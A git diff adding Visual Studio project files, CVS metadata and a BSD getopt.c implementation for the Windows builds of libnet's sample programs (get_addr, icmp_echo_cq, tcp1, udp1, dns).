diff --git a/libnet/sample/win32/get_addr/CVS/Entries b/libnet/sample/win32/get_addr/CVS/Entries new file mode 100644 index 0000000..6b78e48 --- /dev/null +++ b/libnet/sample/win32/get_addr/CVS/Entries @@ -0,0 +1,2 @@ +/get_addr.vcproj/1.3/Thu Nov 27 20:28:39 2003// +D diff --git a/libnet/sample/win32/get_addr/CVS/Repository b/libnet/sample/win32/get_addr/CVS/Repository new file mode 100644 index 0000000..8587665 --- /dev/null +++ b/libnet/sample/win32/get_addr/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/sample/win32/get_addr diff --git a/libnet/sample/win32/get_addr/CVS/Root b/libnet/sample/win32/get_addr/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/sample/win32/get_addr/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/sample/win32/get_addr/get_addr.vcproj b/libnet/sample/win32/get_addr/get_addr.vcproj new file mode 100644 index 0000000..e849ca6 --- /dev/null +++ b/libnet/sample/win32/get_addr/get_addr.vcproj @@ -0,0 +1,139 @@ +<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="get_addr"
+ ProjectGUID="{DA921F29-B6BE-4E55-9040-B6DD434F1E43}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/get_addr.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/get_addr.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/get_addr.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\get_addr.c">
+ </File>
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/getopt.c b/libnet/sample/win32/getopt.c new file mode 100644 index 0000000..152aecd --- /dev/null +++ b/libnet/sample/win32/getopt.c @@ -0,0 +1,121 @@ +/*
+ * Copyright (c) 1987, 1993, 1994
+ * The Regents of the University of California. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ * must display the following acknowledgement:
+ * This product includes software developed by the University of
+ * California, Berkeley and its contributors.
+ * 4. Neither the name of the University nor the names of its contributors
+ * may be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#if defined(LIBC_SCCS) && !defined(lint)
+static char sccsid[] = "@(#)getopt.c 8.3 (Berkeley) 4/27/95";
+#endif /* LIBC_SCCS and not lint */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int opterr = 1, /* if error message should be printed */
+ optind = 1, /* index into parent argv vector */
+ optopt, /* character checked for validity */
+ optreset; /* reset getopt */
+char *optarg; /* argument associated with option */
+
+#define BADCH (int)'?'
+#define BADARG (int)':'
+#define EMSG ""
+
+/*
+ * getopt --
+ * Parse argc/argv argument vector.
+ */
+int
+getopt(nargc, nargv, ostr)
+ int nargc;
+ char * const *nargv;
+ const char *ostr;
+{
+#ifdef WIN32
+ char *__progname="windump";
+#else
+ extern char *__progname;
+#endif
+ static char *place = EMSG; /* option letter processing */
+ char *oli; /* option letter list index */
+
+ if (optreset || !*place) { /* update scanning pointer */
+ optreset = 0;
+ if (optind >= nargc || *(place = nargv[optind]) != '-') {
+ place = EMSG;
+ return (-1);
+ }
+ if (place[1] && *++place == '-') { /* found "--" */
+ ++optind;
+ place = EMSG;
+ return (-1);
+ }
+ } /* option letter okay? */
+ if ((optopt = (int)*place++) == (int)':' ||
+ !(oli = strchr(ostr, optopt))) {
+ /*
+ * if the user didn't specify '-' as an option,
+ * assume it means -1.
+ */
+ if (optopt == (int)'-')
+ return (-1);
+ if (!*place)
+ ++optind;
+ if (opterr && *ostr != ':')
+ (void)fprintf(stderr,
+ "%s: illegal option -- %c\n", __progname, optopt);
+ return (BADCH);
+ }
+ if (*++oli != ':') { /* don't need argument */
+ optarg = NULL;
+ if (!*place)
+ ++optind;
+ }
+ else { /* need an argument */
+ if (*place) /* no white space */
+ optarg = place;
+ else if (nargc <= ++optind) { /* no arg */
+ place = EMSG;
+ if (*ostr == ':')
+ return (BADARG);
+ if (opterr)
+ (void)fprintf(stderr,
+ "%s: option requires an argument -- %c\n",
+ __progname, optopt);
+ return (BADCH);
+ }
+ else /* white space */
+ optarg = nargv[optind];
+ place = EMSG;
+ ++optind;
+ }
+ return (optopt); /* dump back option letter */
+}
diff --git a/libnet/sample/win32/icmp_echo_cq/CVS/Entries b/libnet/sample/win32/icmp_echo_cq/CVS/Entries new file mode 100644 index 0000000..3c6209f --- /dev/null +++ b/libnet/sample/win32/icmp_echo_cq/CVS/Entries @@ -0,0 +1,2 @@ +/icmp_echo_cq.vcproj/1.3/Thu Nov 27 20:28:59 2003// +D diff --git a/libnet/sample/win32/icmp_echo_cq/CVS/Repository b/libnet/sample/win32/icmp_echo_cq/CVS/Repository new file mode 100644 index 0000000..a3da218 --- /dev/null +++ b/libnet/sample/win32/icmp_echo_cq/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/sample/win32/icmp_echo_cq diff --git a/libnet/sample/win32/icmp_echo_cq/CVS/Root b/libnet/sample/win32/icmp_echo_cq/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/sample/win32/icmp_echo_cq/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/sample/win32/icmp_echo_cq/icmp_echo_cq.vcproj b/libnet/sample/win32/icmp_echo_cq/icmp_echo_cq.vcproj new file mode 100644 index 0000000..0fd845f --- /dev/null +++ b/libnet/sample/win32/icmp_echo_cq/icmp_echo_cq.vcproj @@ -0,0 +1,139 @@ +<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="icmp_echo_cq"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/icmp_echo_cq.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/icmp_echo_cq.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ <File
+ RelativePath="..\..\icmp_echo_cq.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/tcp1/CVS/Entries b/libnet/sample/win32/tcp1/CVS/Entries new file mode 100644 index 0000000..ce48fb6 --- /dev/null +++ b/libnet/sample/win32/tcp1/CVS/Entries @@ -0,0 +1,2 @@ +/tcp1.vcproj/1.2/Fri Oct 17 00:22:38 2003// +D diff --git a/libnet/sample/win32/tcp1/CVS/Repository b/libnet/sample/win32/tcp1/CVS/Repository new file mode 100644 index 0000000..e07d391 --- /dev/null +++ b/libnet/sample/win32/tcp1/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/sample/win32/tcp1 diff --git a/libnet/sample/win32/tcp1/CVS/Root b/libnet/sample/win32/tcp1/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/sample/win32/tcp1/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/sample/win32/tcp1/tcp1.vcproj b/libnet/sample/win32/tcp1/tcp1.vcproj new file mode 100644 index 0000000..16f9569 --- /dev/null +++ b/libnet/sample/win32/tcp1/tcp1.vcproj @@ -0,0 +1,142 @@ +<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="tcp1"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/tcp1.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/tcp1.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ <File
+ RelativePath="..\..\tcp1.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ <File
+ RelativePath="..\..\libnet_test.h">
+ </File>
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/udp1/CVS/Entries b/libnet/sample/win32/udp1/CVS/Entries new file mode 100644 index 0000000..7c7be45 --- /dev/null +++ b/libnet/sample/win32/udp1/CVS/Entries @@ -0,0 +1,3 @@ +/dns.vcproj/1.1/Wed Sep 10 18:43:20 2003// +/udp1.vcproj/1.2/Fri Oct 17 00:23:05 2003// +D diff --git a/libnet/sample/win32/udp1/CVS/Repository b/libnet/sample/win32/udp1/CVS/Repository new file mode 100644 index 0000000..e08dd08 --- /dev/null +++ b/libnet/sample/win32/udp1/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/sample/win32/udp1 diff --git a/libnet/sample/win32/udp1/CVS/Root b/libnet/sample/win32/udp1/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/sample/win32/udp1/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/sample/win32/udp1/dns.vcproj b/libnet/sample/win32/udp1/dns.vcproj new file mode 100644 index 0000000..fe62490 --- /dev/null +++ b/libnet/sample/win32/udp1/dns.vcproj @@ -0,0 +1,125 @@ +<?xml version="1.0" encoding = "Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.00"
+ Name="dns"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/udp1.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/dns.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ </Configuration>
+ </Configurations>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\..\dns.c">
+ </File>
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
diff --git a/libnet/sample/win32/udp1/udp1.vcproj b/libnet/sample/win32/udp1/udp1.vcproj new file mode 100644 index 0000000..91e4a99 --- /dev/null +++ b/libnet/sample/win32/udp1/udp1.vcproj @@ -0,0 +1,139 @@ +<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+ ProjectType="Visual C++"
+ Version="7.10"
+ Name="udp1"
+ ProjectGUID="{482A29C5-AAD2-478A-AE7B-089BE39F25B4}"
+ Keyword="Win32Proj">
+ <Platforms>
+ <Platform
+ Name="Win32"/>
+ </Platforms>
+ <Configurations>
+ <Configuration
+ Name="Debug|Win32"
+ OutputDirectory="Debug"
+ IntermediateDirectory="Debug"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="0"
+ AdditionalIncludeDirectories="..\..\..\include; ..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
+ MinimalRebuild="TRUE"
+ BasicRuntimeChecks="3"
+ RuntimeLibrary="5"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="4"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/udp1.exe"
+ LinkIncremental="2"
+ GenerateDebugInformation="TRUE"
+ ProgramDatabaseFile="$(OutDir)/upd1.pdb"
+ SubSystem="1"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ <Configuration
+ Name="Release|Win32"
+ OutputDirectory="Release"
+ IntermediateDirectory="Release"
+ ConfigurationType="1"
+ CharacterSet="2">
+ <Tool
+ Name="VCCLCompilerTool"
+ Optimization="2"
+ InlineFunctionExpansion="1"
+ OmitFramePointers="TRUE"
+ AdditionalIncludeDirectories="..\..\..\include;..\..\..\..\winpcap\wpcap\libpcap\Win32\Include"
+ PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
+ StringPooling="TRUE"
+ RuntimeLibrary="4"
+ EnableFunctionLevelLinking="TRUE"
+ UsePrecompiledHeader="0"
+ WarningLevel="3"
+ Detect64BitPortabilityProblems="TRUE"
+ DebugInformationFormat="3"/>
+ <Tool
+ Name="VCCustomBuildTool"/>
+ <Tool
+ Name="VCLinkerTool"
+ OutputFile="$(OutDir)/udp1.exe"
+ LinkIncremental="1"
+ GenerateDebugInformation="TRUE"
+ SubSystem="1"
+ OptimizeReferences="2"
+ EnableCOMDATFolding="2"
+ TargetMachine="1"/>
+ <Tool
+ Name="VCMIDLTool"/>
+ <Tool
+ Name="VCPostBuildEventTool"/>
+ <Tool
+ Name="VCPreBuildEventTool"/>
+ <Tool
+ Name="VCPreLinkEventTool"/>
+ <Tool
+ Name="VCResourceCompilerTool"/>
+ <Tool
+ Name="VCWebServiceProxyGeneratorTool"/>
+ <Tool
+ Name="VCXMLDataGeneratorTool"/>
+ <Tool
+ Name="VCWebDeploymentTool"/>
+ <Tool
+ Name="VCManagedWrapperGeneratorTool"/>
+ <Tool
+ Name="VCAuxiliaryManagedWrapperGeneratorTool"/>
+ </Configuration>
+ </Configurations>
+ <References>
+ </References>
+ <Files>
+ <Filter
+ Name="Source Files"
+ Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
+ <File
+ RelativePath="..\getopt.c">
+ </File>
+ <File
+ RelativePath="..\..\udp1.c">
+ </File>
+ </Filter>
+ <Filter
+ Name="Header Files"
+ Filter="h;hpp;hxx;hm;inl;inc">
+ </Filter>
+ <Filter
+ Name="Resource Files"
+ Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
+ </Filter>
+ </Files>
+ <Globals>
+ </Globals>
+</VisualStudioProject>
